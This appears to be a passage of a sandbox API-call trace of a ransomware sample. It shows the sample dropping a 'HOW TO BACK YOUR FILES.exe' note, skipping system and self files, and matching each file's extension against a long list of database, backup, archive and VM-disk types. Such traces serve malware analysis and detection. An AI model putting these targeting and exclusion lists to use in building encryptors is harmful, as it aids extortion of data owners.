	[0052.002] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7cb0
	[0052.002] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Favorites", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites"
	[0052.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca190 | out: hHeap=0x580000) returned 1
	[0052.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0052.002] lstrlenW (lpString="C:\\Users\\Default\\Favorites") returned 26
	[0052.002] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites"
	[0052.002] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.002] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0052.003] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.003] GetLastError () returned 0x20
	[0052.003] Sleep (dwMilliseconds=0xc8) 
	[0052.199] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0052.199] GetLastError () returned 0x0
	[0052.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0052.199] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0052.200] CloseHandle (hObject=0x14c) returned 1
	[0052.200] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0052.200] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.200] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e164a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e164a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.200] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.200] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.200] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.200] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e164a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e164a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.200] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.200] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.200] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.200] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.200] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0052.200] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.200] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0052.200] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0052.200] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0052.200] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0052.200] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0052.200] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0052.200] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0052.200] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0052.200] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0052.200] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0052.200] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0052.200] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0052.200] lstrlenW (lpString="desktop.ini") returned 11
	[0052.201] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\*") returned 28
	[0052.201] lstrcpyW (in: lpString1=0x119e63e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0052.201] lstrlenW (lpString="desktop.ini") returned 11
	[0052.201] lstrlenW (lpString="Apollon865") returned 10
	[0052.201] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0052.201] lstrlenW (lpString=".dll") returned 4
	[0052.201] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0052.201] lstrlenW (lpString=".lnk") returned 4
	[0052.201] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0052.201] lstrlenW (lpString=".ini") returned 4
	[0052.201] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0052.201] lstrlenW (lpString=".sys") returned 4
	[0052.201] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0052.201] lstrlenW (lpString="desktop.ini") returned 11
	[0052.201] lstrlenW (lpString="bak") returned 3
	[0052.201] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0052.201] lstrlenW (lpString="ba_") returned 3
	[0052.201] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0052.201] lstrlenW (lpString="dbb") returned 3
	[0052.201] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0052.201] lstrlenW (lpString="vmdk") returned 4
	[0052.201] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0052.201] lstrlenW (lpString="rar") returned 3
	[0052.201] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0052.201] lstrlenW (lpString="zip") returned 3
	[0052.201] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0052.201] lstrlenW (lpString="tgz") returned 3
	[0052.201] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0052.201] lstrlenW (lpString="vbox") returned 4
	[0052.201] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0052.201] lstrlenW (lpString="vdi") returned 3
	[0052.201] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0052.201] lstrlenW (lpString="vhd") returned 3
	[0052.201] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0052.202] lstrlenW (lpString="vhdx") returned 4
	[0052.202] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0052.202] lstrlenW (lpString="avhd") returned 4
	[0052.202] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0052.202] lstrlenW (lpString="db") returned 2
	[0052.202] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0052.202] lstrlenW (lpString="db2") returned 3
	[0052.202] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0052.202] lstrlenW (lpString="db3") returned 3
	[0052.202] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0052.202] lstrlenW (lpString="dbf") returned 3
	[0052.202] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0052.202] lstrlenW (lpString="mdf") returned 3
	[0052.202] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0052.202] lstrlenW (lpString="mdb") returned 3
	[0052.202] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0052.202] lstrlenW (lpString="sql") returned 3
	[0052.202] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0052.202] lstrlenW (lpString="sqlite") returned 6
	[0052.202] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0052.202] lstrlenW (lpString="sqlite3") returned 7
	[0052.202] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0052.202] lstrlenW (lpString="sqlitedb") returned 8
	[0052.202] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0052.202] lstrlenW (lpString="xml") returned 3
	[0052.202] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0052.202] lstrlenW (lpString="$er") returned 3
	[0052.202] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0052.202] lstrlenW (lpString="4dd") returned 3
	[0052.202] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0052.202] lstrlenW (lpString="4dl") returned 3
	[0052.202] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0052.202] lstrlenW (lpString="^^^") returned 3
	[0052.202] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0052.202] lstrlenW (lpString="abs") returned 3
	[0052.202] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0052.203] lstrlenW (lpString="abx") returned 3
	[0052.203] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0052.203] lstrlenW (lpString="accdb") returned 5
	[0052.203] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0052.203] lstrlenW (lpString="accdc") returned 5
	[0052.203] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0052.203] lstrlenW (lpString="accde") returned 5
	[0052.203] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0052.203] lstrlenW (lpString="accdr") returned 5
	[0052.203] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0052.203] lstrlenW (lpString="accdt") returned 5
	[0052.203] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0052.203] lstrlenW (lpString="accdw") returned 5
	[0052.203] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0052.203] lstrlenW (lpString="accft") returned 5
	[0052.203] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0052.203] lstrlenW (lpString="adb") returned 3
	[0052.203] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0052.203] lstrlenW (lpString="adb") returned 3
	[0052.203] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0052.203] lstrlenW (lpString="ade") returned 3
	[0052.203] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0052.203] lstrlenW (lpString="adf") returned 3
	[0052.203] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0052.203] lstrlenW (lpString="adn") returned 3
	[0052.203] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0052.203] lstrlenW (lpString="adp") returned 3
	[0052.203] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0052.203] lstrlenW (lpString="alf") returned 3
	[0052.203] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0052.203] lstrlenW (lpString="ask") returned 3
	[0052.203] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0052.203] lstrlenW (lpString="btr") returned 3
	[0052.203] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0052.203] lstrlenW (lpString="cat") returned 3
	[0052.204] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0052.204] lstrlenW (lpString="cdb") returned 3
	[0052.204] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0052.204] lstrlenW (lpString="ckp") returned 3
	[0052.204] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0052.204] lstrlenW (lpString="cma") returned 3
	[0052.204] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0052.204] lstrlenW (lpString="cpd") returned 3
	[0052.204] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0052.204] lstrlenW (lpString="dacpac") returned 6
	[0052.204] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0052.204] lstrlenW (lpString="dad") returned 3
	[0052.204] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0052.204] lstrlenW (lpString="dadiagrams") returned 10
	[0052.204] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0052.204] lstrlenW (lpString="daschema") returned 8
	[0052.204] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0052.204] lstrlenW (lpString="db-journal") returned 10
	[0052.204] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0052.204] lstrlenW (lpString="db-shm") returned 6
	[0052.204] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0052.204] lstrlenW (lpString="db-wal") returned 6
	[0052.204] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0052.204] lstrlenW (lpString="dbc") returned 3
	[0052.204] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0052.204] lstrlenW (lpString="dbs") returned 3
	[0052.204] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0052.204] lstrlenW (lpString="dbt") returned 3
	[0052.204] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0052.204] lstrlenW (lpString="dbv") returned 3
	[0052.204] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0052.204] lstrlenW (lpString="dbx") returned 3
	[0052.204] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0052.204] lstrlenW (lpString="dcb") returned 3
	[0052.204] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0052.204] lstrlenW (lpString="dct") returned 3
	[0052.205] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0052.205] lstrlenW (lpString="dcx") returned 3
	[0052.205] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0052.205] lstrlenW (lpString="ddl") returned 3
	[0052.205] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0052.205] lstrlenW (lpString="dlis") returned 4
	[0052.205] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0052.205] lstrlenW (lpString="dp1") returned 3
	[0052.205] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0052.205] lstrlenW (lpString="dqy") returned 3
	[0052.205] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0052.205] lstrlenW (lpString="dsk") returned 3
	[0052.205] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0052.205] lstrlenW (lpString="dsn") returned 3
	[0052.205] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0052.205] lstrlenW (lpString="dtsx") returned 4
	[0052.205] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0052.205] lstrlenW (lpString="dxl") returned 3
	[0052.205] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0052.205] lstrlenW (lpString="eco") returned 3
	[0052.205] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0052.205] lstrlenW (lpString="ecx") returned 3
	[0052.205] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0052.205] lstrlenW (lpString="edb") returned 3
	[0052.205] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0052.205] lstrlenW (lpString="epim") returned 4
	[0052.205] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0052.205] lstrlenW (lpString="fcd") returned 3
	[0052.205] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0052.205] lstrlenW (lpString="fdb") returned 3
	[0052.205] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0052.205] lstrlenW (lpString="fic") returned 3
	[0052.205] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0052.205] lstrlenW (lpString="flexolibrary") returned 12
	[0052.205] lstrlenW (lpString="fm5") returned 3
	[0052.206] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0052.206] lstrlenW (lpString="fmp") returned 3
	[0052.206] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0052.206] lstrlenW (lpString="fmp12") returned 5
	[0052.206] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0052.206] lstrlenW (lpString="fmpsl") returned 5
	[0052.206] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0052.206] lstrlenW (lpString="fol") returned 3
	[0052.206] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0052.206] lstrlenW (lpString="fp3") returned 3
	[0052.206] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0052.206] lstrlenW (lpString="fp4") returned 3
	[0052.206] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0052.206] lstrlenW (lpString="fp5") returned 3
	[0052.206] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0052.206] lstrlenW (lpString="fp7") returned 3
	[0052.206] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0052.206] lstrlenW (lpString="fpt") returned 3
	[0052.206] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0052.206] lstrlenW (lpString="frm") returned 3
	[0052.206] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0052.206] lstrlenW (lpString="gdb") returned 3
	[0052.206] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0052.206] lstrlenW (lpString="gdb") returned 3
	[0052.206] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0052.206] lstrlenW (lpString="grdb") returned 4
	[0052.206] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0052.206] lstrlenW (lpString="gwi") returned 3
	[0052.206] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0052.206] lstrlenW (lpString="hdb") returned 3
	[0052.206] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0052.206] lstrlenW (lpString="his") returned 3
	[0052.206] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0052.206] lstrlenW (lpString="ib") returned 2
	[0052.206] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0052.207] lstrlenW (lpString="idb") returned 3
	[0052.207] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0052.207] lstrlenW (lpString="ihx") returned 3
	[0052.207] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0052.207] lstrlenW (lpString="itdb") returned 4
	[0052.207] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0052.207] lstrlenW (lpString="itw") returned 3
	[0052.207] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0052.207] lstrlenW (lpString="jet") returned 3
	[0052.207] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0052.207] lstrlenW (lpString="jtx") returned 3
	[0052.207] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0052.207] lstrlenW (lpString="kdb") returned 3
	[0052.207] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0052.207] lstrlenW (lpString="kexi") returned 4
	[0052.207] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0052.207] lstrlenW (lpString="kexic") returned 5
	[0052.207] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0052.207] lstrlenW (lpString="kexis") returned 5
	[0052.207] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0052.207] lstrlenW (lpString="lgc") returned 3
	[0052.207] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0052.207] lstrlenW (lpString="lwx") returned 3
	[0052.207] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0052.207] lstrlenW (lpString="maf") returned 3
	[0052.207] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0052.207] lstrlenW (lpString="maq") returned 3
	[0052.207] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0052.207] lstrlenW (lpString="mar") returned 3
	[0052.207] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0052.207] lstrlenW (lpString="marshal") returned 7
	[0052.207] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0052.207] lstrlenW (lpString="mas") returned 3
	[0052.207] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0052.207] lstrlenW (lpString="mav") returned 3
	[0052.207] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0052.208] lstrlenW (lpString="maw") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0052.208] lstrlenW (lpString="mdbhtml") returned 7
	[0052.208] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0052.208] lstrlenW (lpString="mdn") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0052.208] lstrlenW (lpString="mdt") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0052.208] lstrlenW (lpString="mfd") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0052.208] lstrlenW (lpString="mpd") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0052.208] lstrlenW (lpString="mrg") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0052.208] lstrlenW (lpString="mud") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0052.208] lstrlenW (lpString="mwb") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0052.208] lstrlenW (lpString="myd") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0052.208] lstrlenW (lpString="ndf") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0052.208] lstrlenW (lpString="nnt") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0052.208] lstrlenW (lpString="nrmlib") returned 6
	[0052.208] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0052.208] lstrlenW (lpString="ns2") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0052.208] lstrlenW (lpString="ns3") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0052.208] lstrlenW (lpString="ns4") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0052.208] lstrlenW (lpString="nsf") returned 3
	[0052.208] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0052.208] lstrlenW (lpString="nv") returned 2
	[0052.209] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0052.209] lstrlenW (lpString="nv2") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0052.209] lstrlenW (lpString="nwdb") returned 4
	[0052.209] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0052.209] lstrlenW (lpString="nyf") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0052.209] lstrlenW (lpString="odb") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0052.209] lstrlenW (lpString="odb") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0052.209] lstrlenW (lpString="oqy") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0052.209] lstrlenW (lpString="ora") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0052.209] lstrlenW (lpString="orx") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0052.209] lstrlenW (lpString="owc") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0052.209] lstrlenW (lpString="p96") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0052.209] lstrlenW (lpString="p97") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0052.209] lstrlenW (lpString="pan") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0052.209] lstrlenW (lpString="pdb") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0052.209] lstrlenW (lpString="pdm") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0052.209] lstrlenW (lpString="pnz") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0052.209] lstrlenW (lpString="qry") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0052.209] lstrlenW (lpString="qvd") returned 3
	[0052.209] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0052.209] lstrlenW (lpString="rbf") returned 3
	[0052.210] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0052.210] lstrlenW (lpString="rctd") returned 4
	[0052.210] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0052.210] lstrlenW (lpString="rod") returned 3
	[0052.210] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0052.210] lstrlenW (lpString="rodx") returned 4
	[0052.210] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0052.210] lstrlenW (lpString="rpd") returned 3
	[0052.210] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0052.210] lstrlenW (lpString="rsd") returned 3
	[0052.210] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0052.210] lstrlenW (lpString="sas7bdat") returned 8
	[0052.210] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0052.210] lstrlenW (lpString="sbf") returned 3
	[0052.210] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0052.210] lstrlenW (lpString="scx") returned 3
	[0052.210] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0052.210] lstrlenW (lpString="sdb") returned 3
	[0052.210] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0052.210] lstrlenW (lpString="sdc") returned 3
	[0052.210] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0052.210] lstrlenW (lpString="sdf") returned 3
	[0052.210] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0052.210] lstrlenW (lpString="sis") returned 3
	[0052.210] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0052.210] lstrlenW (lpString="spq") returned 3
	[0052.210] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0052.210] lstrlenW (lpString="te") returned 2
	[0052.210] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0052.210] lstrlenW (lpString="teacher") returned 7
	[0052.210] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0052.210] lstrlenW (lpString="tmd") returned 3
	[0052.210] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0052.210] lstrlenW (lpString="tps") returned 3
	[0052.210] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0052.211] lstrlenW (lpString="trc") returned 3
	[0052.211] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0052.211] lstrlenW (lpString="trc") returned 3
